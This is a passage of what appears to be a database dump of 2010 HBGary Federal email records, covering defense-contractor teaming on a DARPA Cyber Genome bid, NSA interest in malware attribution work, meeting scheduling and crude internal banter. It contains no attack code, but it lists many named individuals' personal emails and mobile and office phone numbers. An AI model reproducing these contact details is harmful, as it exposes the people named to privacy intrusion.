customer interface.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nUntil we hear from\r\nVickie, not sure we should plan to rendezvous in San Antonio—I’ll stay on top\r\nof this and keep you in-the-loop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAlso, Jim Hale has\r\nsome things in the work that he believes will be of interest to you.&nbsp;\r\nHe’ll be in touch soon. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJim\r\n\'Torch\' Hale\r\n\r\n\r\n\r\n\r\n\r\n(719)\r\n238-0763 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n(719)\r\n510-8478 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n(301)\r\n652-8885 x117\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest regards,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRobert \'Bob\'\r\nShows&nbsp;\r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation&nbsp;\r\n310.210.2549\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12559,'aaron_hbgary_com/12559.html'),(2762,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001277.M21209P3547Q2762.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA','Couldn\'t hurt. &nbsp;I think we will be talking about some of the priming arrangements, Sparta, some tech also of course while greg is on. &nbsp;Up to you if you have time.AaronOn Feb 17, 2010, at 11:42 AM, Bob Slapnik wrote:Aaron,\r\n&nbsp;\r\nWith you and Greg on this call I don\'t see a need for me to be on it, unless you want me to.\r\n&nbsp;\r\nBob\r\n---------- Forwarded message ----------From: Starr, Christopher H. &lt;Chris.Starr@gd-ais.com&gt;\r\nDate: Wed, Feb 17, 2010 at 11:26 AMSubject: GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAATo: \"Upchurch, Jason R.\" &lt;jason.upchurch@gd-ais.com&gt;, \"Rodriguez, Harold\" &lt;Harold.Rodriguez@gd-ais.com&gt;, \"Raygoza, Daniel\" &lt;Daniel.Raygoza@gd-ais.com&gt;, \"Bojaxhi, Hermes\" &lt;Hermes.Bojaxhi@gd-ais.com&gt;, \"Lotas, Michael S.\" &lt;Michael.Lotas@gd-ais.com&gt;, \"Harlow, Douglas M.\" &lt;Douglas.Harlow@gd-ais.com&gt;, \"Wenthold, Russell L.\" &lt;russ.wenthold@gd-ais.com&gt;, \"Guthrie, Gary R.\" &lt;Gary.Guthrie@gd-ais.com&gt;, \"Daly, Patrick E.\" &lt;Patrick.Daly@gd-ais.com&gt;, \"McFadden, Frank E.\" &lt;Frank.McFadden@gd-ais.com&gt;, \"Wilson, Ben N.\" &lt;Ben.Wilson@gd-ais.com&gt;, \"Schmidt, Ken J.\" &lt;Ken.Schmidt@gd-ais.com&gt;, \"Kowalski, Bobby Jim\" &lt;BJ.Kowalski@gd-ais.com&gt;, \"Johnson, Eric M.\" &lt;eric.johnson@gd-ais.com&gt;, \"Aaron Barr (HBGary)\" &lt;aaron@hbgary.com&gt;, \"Ted Vera (HBGary)\" &lt;ted@hbgary.com&gt;, \"Bob Slapnik (HBGary)\" &lt;bob@hbgary.com&gt;, \"Greg Hoglund (HBGary)\" &lt;greg@hbgary.com&gt;, \"Rich Cummings (HBGary)\" &lt;rich@hbgary.com&gt;\r\n\r\nWhen: Wednesday, February 17, 2010 2:30 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).Where: 866-765-5631, code 5057292#*~*~*~*~*~*~*~*~*~*GD &amp; HBGary: technical interchange: RE: DARPA Cyber Genome BAA866-765-5631, code 5057292#-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical interchange between HBGary and GD on innovative technical ideas for the DARPA Cyber Genome BAA-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Greg Hoglund of HBGary is expected to attend this meeting (Greg will join us about 30 minutes into the discussion)-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We will also touch ono&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GD / HBGary teaming approach§&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Who primes what§&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Templates for establishing teaming agreementso&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer and competitive intelligenceCyber Genome DARPA-BAA-10-36:https://www.fbo.gov/index?tab=documents&amp;s=opportunity&amp;mode=form&amp;id=c34caee99a41eb14d4ca81949d4f2fde&amp;tabmode=list DARPA-BAA-10-36_Cyber_Genome _01.28.2010.docx (2409.73 kb)Questions? Contact:Chris Starr, 571-216-6140, Chris.Starr@gd-ais.com-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15377,'aaron_hbgary_com/15377.html'),(2763,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001277.M255198P3547Q2763.eml','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','Re: Catch Up','How about 3pm next Wednesday at your office?AaronOn Feb 17, 2010, at 6:54 AM, Frisbie, Robert P wrote:Aaron&nbsp;Next Monday morning or most of wen next week would work.&nbsp; Look forward to talking.&nbsp;Bob&nbsp;&nbsp;Robert FrisbieSenior Vice PresidentManTech International7799 Leesburg PikeSuite 700 SouthFalls Church, VA 22043703 847-5193&nbsp;&nbsp;&nbsp;From:&nbsp;rf4864@aol.com&nbsp;[mailto:rf4864@aol.com]&nbsp;Sent:&nbsp;Tuesday, February 16, 2010 9:35 PMTo:&nbsp;Frisbie, Robert PSubject:&nbsp;Fwd: Catch Up&nbsp;&nbsp;&nbsp;-----Original Message-----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: Robert Frisbie &lt;rf4864@aol.com&gt;Sent: Tue, Feb 16, 2010 10:30 amSubject: Catch UpLinkedInAaron Barr&nbsp;has sent you a message.Date:&nbsp;2/16/2010Subject:&nbsp;Catch UpHi Bob,If you have some time next week I would like to stop by and catch up.AaronView/reply to this messageDon\'t want to receive e-mail notifications?&nbsp;Adjust your message settings.© 2010, LinkedIn Corporation&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15293,'aaron_hbgary_com/15293.html'),(2764,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001277.M455297P3547Q2764.eml','\"Chris Hummel\" <chris_hummel@hotmail.com>','Re: Introductions','ok lets shoot for Friday next week.AaronOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:Hi Aaron,&nbsp;I don\'t work directly for Mark or Chris, but I do engage with various people in their organization.&nbsp; I\'ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.&nbsp; I look forward to talking to you as well.&nbsp;Thanks,Chris&nbsp;&gt; From:&nbsp;aaron@hbgary.com&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To:&nbsp;chris_hummel@hotmail.com&gt;&nbsp;&gt; Hi Chris,&gt;&nbsp;&gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?&gt;&nbsp;&gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.&gt;&nbsp;&gt; Look forward to talking with you.&gt;&nbsp;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&nbsp;&gt;&nbsp;&gt;&nbsp;Hotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7202,'aaron_hbgary_com/7202.html'),(2765,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001277.M632334P3547Q2765.eml','\"Edwards, Michael (CORP)\" <Michael.Edwards@ngc.com>,\"Edwards, Michael (CORP)\" <Michael.Edwards@ngc.com>','Re: 624th Ops Center--Next Steps','1200 Friday works for me.AaronOn Feb 17, 2010, at 12:58 PM, Edwards, Michael (CORP) wrote:0900 and 1200 on Friday&nbsp;Mike Edwards&nbsp;Corporate Director, Air Force C3 &amp; CYBER Programs&nbsp;Northrop Grumman Corporation&nbsp;1000 Wilson Blvd, Suite 2300&nbsp;Arlington, VA 22209&nbsp;michael.edwards@ngc.com&nbsp;703-741-7325 (w) 571-748-8401(C)From:&nbsp;Shows, Bob (IS)&nbsp;Sent:&nbsp;Wednesday, February 17, 2010 12:49 PMTo:&nbsp;\'Aaron@hbgary.com\'Cc:&nbsp;Edwards, Michael (CORP)Subject:&nbsp;Re: 624th Ops Center--Next Steps&nbsp;Aaron,I\'m back off travel; if you and Mike can give me some \'time windows\' for Thurs or Fri, I\'ll set-up a 30 minute call to discuss approach and next steps. Bob&nbsp;-----------------------&nbsp;Sent via Blackberry&nbsp;From: Aaron Barr &lt;aaron@hbgary.com&gt;&nbsp;To: Shows, Bob (IS)&nbsp;Cc: Edwards, Michael (CORP)&nbsp;Sent: Wed Feb 17 11:05:17 2010Subject: Re: 624th Ops Center--Next StepsBob/mike,&nbsp;I am interested to get your feedback on what u think of this approach. &nbsp;It\'s not the answer but I think it\'s one of the right starting points and I think it will resonate with customers. &nbsp;I am also working on some dynamic defense capabilities with ours and our partner tools. &nbsp;This will leverage the threat intelligence center model as well.&nbsp;You guys talk to a lot of the customers so interested to get your take.&nbsp;Aaron&nbsp;From my iPhoneOn Feb 15, 2010, at 9:39 AM, \"Shows, Bob (IS)\" &lt;rj.shows@ngc.com&gt; wrote:Used a ‘sent’ email below; this should work better!&nbsp;Robert \'Bob\' Shows&nbsp;USAF Account Team NGIS/DSDNorthrop Grumman Corporation&nbsp;310.210.2549From:&nbsp;Shows, Bob (IS)&nbsp;Sent:&nbsp;Monday, February 15, 2010 8:36 AMTo:&nbsp;Shows, Bob (IS)Cc:&nbsp;Edwards, Michael (CORP)Subject:&nbsp;RE: 624th Ops Center--Next Steps&nbsp;Aaron,&nbsp;Weather and travel really de-railed my schedule last week.&nbsp; I&nbsp; will catch-up with you this week.&nbsp;I reviewed the Aurora brochure—a very sophisticated presentation.&nbsp; Please help me understand how this will be used?&nbsp; Was it an assessment specified for a specific organization?&nbsp;&nbsp;Hopefully Mike will be able to assist as we expand our relationship with the 24th&nbsp;NAF and 624th&nbsp;Operations Center—he’s still grieving over your departure from NGC!&nbsp;Best of the day,&nbsp;Robert \'Bob\' Shows&nbsp;USAF Account Team NGIS/DSDNorthrop Grumman Corporation&nbsp;310.210.2549From:&nbsp;Shows, Bob (IS)&nbsp;Sent:&nbsp;Tuesday, February 09, 2010 9:44 AMTo:&nbsp;Aaron BarrSubject:&nbsp;RE: 624th Ops Center--Next Steps&nbsp;Aaron,&nbsp;No word back from Vickie—so I take that as a “no”.&nbsp;&nbsp; That’s fine since we can get to many consultants on our own. &nbsp;Gen (Ret) Tom Hobbins is back onboard with NGC—he brings a lot.&nbsp; &nbsp;I’ll catch-up with you Wed or Thurs to work next steps. &nbsp;&nbsp;Let me know if one timeframe is better than another to call. &nbsp;&nbsp;Cheers,&nbsp;Robert \'Bob\' Shows&nbsp;USAF Account Team NGIS/DSDNorthrop Grumman Corporation&nbsp;310.210.2549From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 10:17 PMTo:&nbsp;Shows, Bob (IS)Subject:&nbsp;Re: 624th Ops Center--Next StepsImportance:&nbsp;High&nbsp;Hi Bob,&nbsp;Just checking in to see any status on this effort.&nbsp;Aaron&nbsp;On Jan 29, 2010, at 5:46 PM, Shows, Bob (IS) wrote:&nbsp;Aaron,&nbsp;I spoke at length with Vickie Michaels of CyberSpace Operations Consulting, LLC.&nbsp; Fundamentally her company is interested, but wants NGC to pay her company upfront to consultant in bringing this business case together.&nbsp; I conveyed that was not going to work, but if she could get her boss to sign the NDA, I would work with her to see how they might fit.&nbsp;Of note, she wasn’t interested in investing 2-4 hours of her own time just tighten the shot pattern on this effort.&nbsp; We left it with her going to see her boss and present the case (for which she did not seem overly enthusiastic)—we’ll see.&nbsp;&nbsp;As I mentioned, CSOC would be nice to have on this team, but not essential.&nbsp; We have Tom Hobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike Edwards, and others that you know to assist with senior customer interface.&nbsp;&nbsp;Until we hear from Vickie, not sure we should plan to rendezvous in San Antonio—I’ll stay on top of this and keep you in-the-loop.&nbsp;Also, Jim Hale has some things in the work that he believes will be of interest to you.&nbsp; He’ll be in touch soon. &nbsp;&nbsp;Jim \'Torch\' Hale(719) 238-0763 (mobile)&nbsp;Aaron Barr(719) 510-8478 (mobile)(301) 652-8885 x117&nbsp;&nbsp;Best regards,&nbsp;Robert \'Bob\' Shows&nbsp;USAF Account Team NGIS/DSDNorthrop Grumman Corporation&nbsp;310.210.2549&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10265,'aaron_hbgary_com/10265.html'),(2766,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001277.M805614P3547Q2766.eml','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','Re: Accepted: Invitation: Meeting with Qosmos @ Wed Feb 17 2pm - 3:30pm (aubrey.merchantdest@qosmos.com)','Hey Aubrey,\r\n\r\nI have to cut our meeting short.  I apologize for the short notice, but I have a telecon I have to get on at 2:30pm.  If you still want to get together we can do a quick intro, discuss technologies in a speed dating sort of way and then set up for a more focused discussion in the near future.\r\n\r\naaron\r\nOn Feb 17, 2010, at 8:47 AM, Aubrey MERCHANT DEST wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12087,'aaron_hbgary_com/12087.html'),(2767,'2010-02-17','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','/aaron@hbgary.com/new/1297001278.M184845P3547Q2768.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Fraticelli, David\" <dafrati@nsa.gov>,\"Boseman, Barry A\" <babosem@nsa.gov>,\"Aaron Barr\" <aaron@hbgary.com>,\"Fraticelli, David\" <dafrati@nsa.gov>,\"Boseman, Barry A\" <babosem@nsa.gov>','RE: Malware Genome and Attribution','Aaron,\r\n\r\nI am interested.\r\n\r\nWhat is the best way to meet?\r\n\r\nCan you come here?\r\n\r\nIs this related to Responder Pro?\r\n\r\nMatt \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 16, 2010 9:00 AM\r\nTo: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\nCc: Gipson, Vergle ; Ghent, Ralph \r\nSubject: Re: Malware Genome and Attribution\r\n\r\nDave/Barry/Matt,\r\n\r\nI am very interested to discuss our different efforts/capabilities\r\nrelated to malware genomes/catalogs.  Please let me know when convenient\r\nto get together.\r\n\r\nThank you,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nOn Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n\r\n> Ralph,\r\n> \r\n> 	Thanks for reminding me about this one.\r\n> \r\n> Dave/Barry/Matt -- follow up on this please.\r\n> \r\n> Vergle\r\n> \r\n> -----Original Message-----\r\n> From: Ghent, Ralph\r\n> Sent: Tuesday, February 02, 2010 7:02 AM\r\n> To: Ghent, Ralph ; Gipson, Vergle\r\n> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley Parkes;\r\n\r\n> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n> Subject: RE: Malware Genome and Attribution\r\n> \r\n> Vergle,\r\n> Reminder of the thread below, and your awareness of the efforts of\r\nAaron\r\n> Barr; which may be supportive of your Malware catalog efforts.   Have\r\n> not seen any response since this was raised in early December.\r\n> \r\n> Also, pls see recent news article below:\r\n> \r\n> \'Cyber Genome Project\': The military scientists want to establish a \r\n> \"Cyber Genome\" project which will allow any digital artifact - a \r\n> document, apiece of malware - to be probed to its very origins.\r\n> According to an announcement put out yesterday by DARPA, the \"Cyber \r\n> Genome Program\" will \"produce revolutionary cyber defense and \r\n> investigatory technologies\".\r\n> Source: http://www.theregister.co.uk/2010/01/26/cyber_genome_project/\r\n> \r\n> VR,\r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> \r\n> -----Original Message-----\r\n> From: Ghent, Ralph\r\n> Sent: Monday, January 11, 2010 3:05 PM\r\n> To: Gipson, Vergle\r\n> Subject: FW: Malware Genome and Attribution\r\n> \r\n> Vergle:\r\n> I mentioned this fellow to you awhile back and emailed you all in V2 \r\n> as to possible interest in engaging him to learn of his efforts (which\r\n\r\n> seem to me to be very closely aligned to the Carnegie-Mellon Malicious\r\n\r\n> Code Catalog efforts).\r\n> \r\n> I spoke with Alex at Marshall\'s reception on 8 jan and he said he was \r\n> holding back on responding til he saw your comments/guidance.\r\n> \r\n> \r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:adbarr@me.com]\r\n> Sent: Friday, January 08, 2010 10:23 AM\r\n> To: Ghent, Ralph\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> Hi Ralph,\r\n> \r\n> Happy New Year.\r\n> \r\n> I am still very interested to talk to folks there about the Malicious \r\n> Code Catalog and our Malware Genome and Digital DNA if there is \r\n> interest on that side.  As I mentioned we have recently partnered with\r\n\r\n> Palantir and are working on a partnership with Netwitness and maybe 1 \r\n> or 2 other small vendors with complimentary technology.  I think \r\n> something really substantial can be put together.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n> \r\n>> Aaron,\r\n>> Did anyone from the NTOC contact you yet?\r\n>> Respectfully,\r\n>> \r\n>> \r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> \r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Friday, December 04, 2009 2:27 PM\r\n>> To: \'Aaron Barr\'\r\n>> Subject: RE: Malware Genome and Attribution\r\n>> \r\n>> Aaron,\r\n>> Many thanks for the additional info and the opportunity to chat \r\n>> briefly at Leesburg.\r\n>> \r\n>> I have pushed your info to those within my Agency who are working \r\n>> with\r\n> \r\n>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time next\r\n\r\n>> week, no one has reached-out to you, pls email me again and I will \r\n>> follow up with them.\r\n>> \r\n>> Sincerely,\r\n>> \r\n>> \r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>> To: Ghent, Ralph\r\n>> Subject: Malware Genome and Attribution\r\n>> \r\n>> Ralph,\r\n>> \r\n>> Thank you for stepping in and asking about my discussion about \r\n>> Malware\r\n> \r\n>> detection, genomes, and attribution.  I am very new to my current \r\n>> position as CEO of HBGary Federal, prior to this I was the Technical \r\n>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the \r\n>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks ago \r\n>> if we can make headway against attribution I would have said no, not \r\n>> until we have better situational awareness, network characterization,\r\n\r\n>> CND/CNE integration, etc.\r\n>> \r\n>> Then I started to learn about HBGarys Malware Genome database, where \r\n>> they have characterized 3500 traits of malware to date, and are \r\n>> starting to make associations of authorship across malware.  I \r\n>> immediately thought of Palantirs capability to link analysis and had\r\n> an aha moment.\r\n>> But I knew that other capabilities needed to be added if we were \r\n>> seriously going to take a crack at attribution.\r\n>> \r\n>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I \r\n>> would love to talk with them and combine efforts if appropriate to \r\n>> develop the capability that is needed to help with this challenge.\r\n>> \r\n>> Thank You,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> 301.652.8885 x117\r\n>> 719.510.8478\r\n> \r\n\r\n\r\n\r\n\r\n',14955,'aaron_hbgary_com/14955.html'),(2768,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001278.M400527P3547Q2769.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Results of yesterday\'s mtg in Sacramento','Good.  I&#39;ll see what I can get.AaronFrom my iPhoneOn Feb 17, 2010, at 1:47 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nDid you hear how things went yesterday out in Sacramento?\r\n\r\nCan we get a copy of what they generated here for tomorrow?\r\n\r\n\r\nBrian\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',10410,'aaron_hbgary_com/10410.html'),(2769,'2010-02-17','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','/aaron@hbgary.com/new/1297001278.M4643P3547Q2767.eml','\"Barr, Aaron\" <aaron@hbgary.com>','RE: Accepted: Invitation: Meeting with Qosmos @ Wed Feb 17 2pm - 3:30pm (aubrey.merchantdest@qosmos.com)','I should be therebin about 20.  No worries.  We must start somewhere.\r\n\r\nSent from my HTC smartphone\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr \r\nSent: Wednesday, February 17, 2010 1:41 PM\r\nTo: Aubrey MERCHANT DEST \r\nSubject: Re: Accepted: Invitation: Meeting with Qosmos @ Wed Feb 17 2pm - 3:30pm (aubrey.merchantdest@qosmos.com)\r\n\r\n\r\nHey Aubrey,\r\n\r\nI have to cut our meeting short.  I apologize for the short notice, but I have a telecon I have to get on at 2:30pm.  If you still want to get together we can do a quick intro, discuss technologies in a speed dating sort of way and then set up for a more focused discussion in the near future.\r\n\r\naaron\r\nOn Feb 17, 2010, at 8:47 AM, Aubrey MERCHANT DEST wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7513,'aaron_hbgary_com/7513.html'),(2770,'2010-02-17','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001278.M610431P3547Q2770.eml','\"Aaron Barr\" <aaron@hbgary.com>','this conversation is weird... i dont know why this is focused on DC3','this conversation has such a small focus... i think this is lame... we should have had a conversation internally before this call because Greg is going down the rat hole with them.\r\n',10649,'aaron_hbgary_com/10649.html'),(2771,'2010-02-17','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001278.M782721P3547Q2771.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cabo','April 19-26th with our daughter\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, February 13, 2010 9:11 AM\r\nTo: Penny Leavy\r\nSubject: Cabo\r\n\r\nWhen r u guys going?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n',7010,'aaron_hbgary_com/7010.html'),(2772,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001278.M955847P3547Q2772.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: this conversation is weird... i dont know why this is focused on 	DC3','Welcome to large defense persuits.\r\n\r\n From my iPhone\r\n\r\nOn Feb 17, 2010, at 2:53 PM, Rich Cummings  wrote:\r\n\r\n> this conversation has such a small focus... i think this is lame...\r\n> we should have had a conversation internally before this call\r\n> because Greg is going down the rat hole with them.\r\n>\r\n>\r\n',649,'aaron_hbgary_com/649.html'),(2773,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001279.M134754P3547Q2773.eml','rich@hbgary.com','Re: this conversation is weird... i dont know why this is focused on 	DC3','I stabbed myself in the eye many times.  Man I am so glad to be out of\r\nthat world.\r\n\r\n From my iPhone\r\n\r\nOn Feb 17, 2010, at 2:53 PM, Rich Cummings  wrote:\r\n\r\n> this conversation has such a small focus... i think this is lame...\r\n> we should have had a conversation internally before this call\r\n> because Greg is going down the rat hole with them.\r\n>\r\n>\r\n',4085,'aaron_hbgary_com/4085.html'),(2774,'2010-02-17','rich@hbgary.com','/aaron@hbgary.com/new/1297001279.M346013P3547Q2774.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: this conversation is weird... i dont know why this is focused on DC3','You gotta call me... I\'m still laughing....\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: rich@hbgary.com\r\nSubject: Re: this conversation is weird... i dont know why this is focused on DC3\r\nSent: Feb 17, 2010 3:56 PM\r\n\r\nI stabbed myself in the eye many times.  Man I am so glad to be out of\r\nthat world.\r\n\r\n From my iPhone\r\n\r\nOn Feb 17, 2010, at 2:53 PM, Rich Cummings  wrote:\r\n\r\n> this conversation has such a small focus... i think this is lame...\r\n> we should have had a conversation internally before this call\r\n> because Greg is going down the rat hole with them.\r\n>\r\n>\r\n\r\n\r\nSent from my Verizon Wireless BlackBerry\r\n',9288,'aaron_hbgary_com/9288.html'),(2775,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001279.M529805P3547Q2775.eml','rich@hbgary.com','Re: this conversation is weird... i dont know why this is focused on 	DC3','Have to get thru security.  Call u in a few.  The guy that was talking\r\nabout video for an hour.  I was visualizing putting a ball gag in his\r\nmouth.\r\n\r\n From my iPhone\r\n\r\nOn Feb 17, 2010, at 4:02 PM, \"rich@hbgary.com\"  wrote:\r\n\r\n> I stabbed myself in the eye many times.  Man I am so glad to be out of\r\n> that world.\r\n>\r\n> From my iPhone\r\n>\r\n> On Feb 17, 2010, at 2:53 PM, Rich Cummings  wrote:\r\n>\r\n>> this conversation has such a small focus... i think this is lame...\r\n>> we should have had a conversation internally before this call\r\n>> because Greg is going down the rat hole with them.\r\n>>\r\n>>\r\n>\r\n>\r\n> Sent from my Verizon Wireless BlackBerry\r\n',7179,'aaron_hbgary_com/7179.html'),(2776,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001279.M714273P3547Q2776.eml','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','Re: Malware Genome and Attribution','Yes we can come up.  When are some good dates?\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> I am interested.\r\n>\r\n> What is the best way to meet?\r\n>\r\n> Can you come here?\r\n>\r\n> Is this related to Responder Pro?\r\n>\r\n> Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, February 16, 2010 9:00 AM\r\n> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n> Cc: Gipson, Vergle ; Ghent, Ralph\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> Dave/Barry/Matt,\r\n>\r\n> I am very interested to discuss our different efforts/capabilities\r\n> related to malware genomes/catalogs.  Please let me know when\r\n> convenient\r\n> to get together.\r\n>\r\n> Thank you,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>\r\n>> Ralph,\r\n>>\r\n>>    Thanks for reminding me about this one.\r\n>>\r\n>> Dave/Barry/Matt -- follow up on this please.\r\n>>\r\n>> Vergle\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>> To: Ghent, Ralph ; Gipson, Vergle\r\n>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley\r\n>> Parkes;\r\n>\r\n>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>> Subject: RE: Malware Genome and Attribution\r\n>>\r\n>> Vergle,\r\n>> Reminder of the thread below, and your awareness of the efforts of\r\n> Aaron\r\n>> Barr; which may be supportive of your Malware catalog efforts.   Have\r\n>> not seen any response since this was raised in early December.\r\n>>\r\n>> Also, pls see recent news article below:\r\n>>\r\n>> \'Cyber Genome Project\': The military scientists want to establish a\r\n>> \"Cyber Genome\" project which will allow any 